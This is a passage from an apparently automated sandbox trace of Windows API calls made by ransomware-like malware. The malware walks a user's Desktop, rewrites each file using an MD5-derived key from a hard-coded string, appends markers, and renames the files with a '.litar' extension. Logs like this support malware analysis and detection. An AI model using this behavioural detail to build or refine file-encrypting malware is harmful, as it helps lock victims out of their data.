phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.209] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.209] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.209] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.209] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.209] GetLastError () returned 0x0 [0125.209] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.209] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.209] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.209] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc260) returned 0x30fa0b0 [0125.209] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.209] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.209] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xc252, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xc252, lpOverlapped=0x0) returned 1 [0125.210] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.210] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc257, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.210] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.210] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.210] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.210] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.210] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.210] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.210] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.210] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.210] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.210] CloseHandle (hObject=0x624) returned 1 [0125.211] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.211] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.211] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.211] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PolmUMHRORMWgP.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\polmumhrormwgp.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PolmUMHRORMWgP.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\polmumhrormwgp.swf.litar")) returned 1 [0125.212] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.212] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.212] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.213] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb37eb360, ftCreationTime.dwHighDateTime=0x1d4d03b, ftLastAccessTime.dwLowDateTime=0xd0138970, ftLastAccessTime.dwHighDateTime=0x1d4c8c9, ftLastWriteTime.dwLowDateTime=0xd0138970, ftLastWriteTime.dwHighDateTime=0x1d4c8c9, nFileSizeHigh=0x0, nFileSizeLow=0x3d91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QATxQ8 VuKhKsG6j5boU.m4a", cAlternateFileName="QATXQ8~1.M4A")) returned 1 [0125.213] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.213] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.213] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.213] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QATxQ8 VuKhKsG6j5boU.m4a") returned=".m4a" [0125.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QATxQ8 VuKhKsG6j5boU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qatxq8 vukhksg6j5bou.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.213] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=15761) returned 1 [0125.213] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.215] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3d6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.215] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.216] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.216] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.216] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.216] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x3d91, lpOverlapped=0x0) returned 1 [0125.217] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.217] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.217] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.217] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.217] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.217] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.217] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.218] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.218] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.218] GetLastError () returned 0x0 [0125.218] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.218] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3d90) returned 0x30fa0b0 [0125.218] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.218] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x3d8c, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x3d8c, lpOverlapped=0x0) returned 1 [0125.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.218] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3d91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.218] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.218] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.218] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.219] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.219] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.219] CloseHandle (hObject=0x624) returned 1 [0125.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.219] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.220] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QATxQ8 VuKhKsG6j5boU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qatxq8 vukhksg6j5bou.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QATxQ8 VuKhKsG6j5boU.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qatxq8 vukhksg6j5bou.m4a.litar")) returned 1 [0125.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.220] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.221] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80eef710, ftCreationTime.dwHighDateTime=0x1d4cb00, ftLastAccessTime.dwLowDateTime=0xd0b791e0, ftLastAccessTime.dwHighDateTime=0x1d4c5b9, ftLastWriteTime.dwLowDateTime=0xd0b791e0, ftLastWriteTime.dwHighDateTime=0x1d4c5b9, nFileSizeHigh=0x0, nFileSizeLow=0xa17e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qTEbn_aHVk98J.pdf", cAlternateFileName="QTEBN_~1.PDF")) returned 1 [0125.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.221] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qTEbn_aHVk98J.pdf") returned=".pdf" [0125.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qTEbn_aHVk98J.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qtebn_ahvk98j.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.221] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=41342) returned 1 [0125.221] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.223] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa158, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.223] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.224] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.225] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xa17e, lpOverlapped=0x0) returned 1 [0125.225] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.225] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.225] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.225] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.226] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.226] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.226] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.226] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.226] GetLastError () returned 0x0 [0125.226] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.226] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa180) returned 0x30fa0b0 [0125.227] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.227] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.227] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xa179, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xa179, lpOverlapped=0x0) returned 1 [0125.227] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.227] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa17e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.227] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.227] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.227] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.227] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.227] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.227] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.227] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.227] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.227] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.227] CloseHandle (hObject=0x624) returned 1 [0125.228] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.228] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.228] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.228] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qTEbn_aHVk98J.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qtebn_ahvk98j.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qTEbn_aHVk98J.pdf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qtebn_ahvk98j.pdf.litar")) returned 1 [0125.229] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.229] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.230] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.230] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c11c7d0, ftCreationTime.dwHighDateTime=0x1d4cb70, ftLastAccessTime.dwLowDateTime=0x25874390, ftLastAccessTime.dwHighDateTime=0x1d4c697, ftLastWriteTime.dwLowDateTime=0x25874390, ftLastWriteTime.dwHighDateTime=0x1d4c697, nFileSizeHigh=0x0, nFileSizeLow=0xd78f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="q_qr72fTT.mkv", cAlternateFileName="Q_QR72~1.MKV")) returned 1 [0125.230] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.230] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.230] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.230] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q_qr72fTT.mkv") returned=".mkv" [0125.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q_qr72fTT.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q_qr72ftt.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.230] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=55183) returned 1 [0125.230] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.232] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd769, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.232] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.235] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.235] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xd78f, lpOverlapped=0x0) returned 1 [0125.235] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.235] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.235] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.235] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.236] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.236] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.236] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.236] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.236] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.236] GetLastError () returned 0x0 [0125.236] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.236] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.237] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.237] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd790) returned 0x30fa0b0 [0125.237] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.237] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.237] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xd78a, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xd78a, lpOverlapped=0x0) returned 1 [0125.237] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.237] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd78f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.237] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.237] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 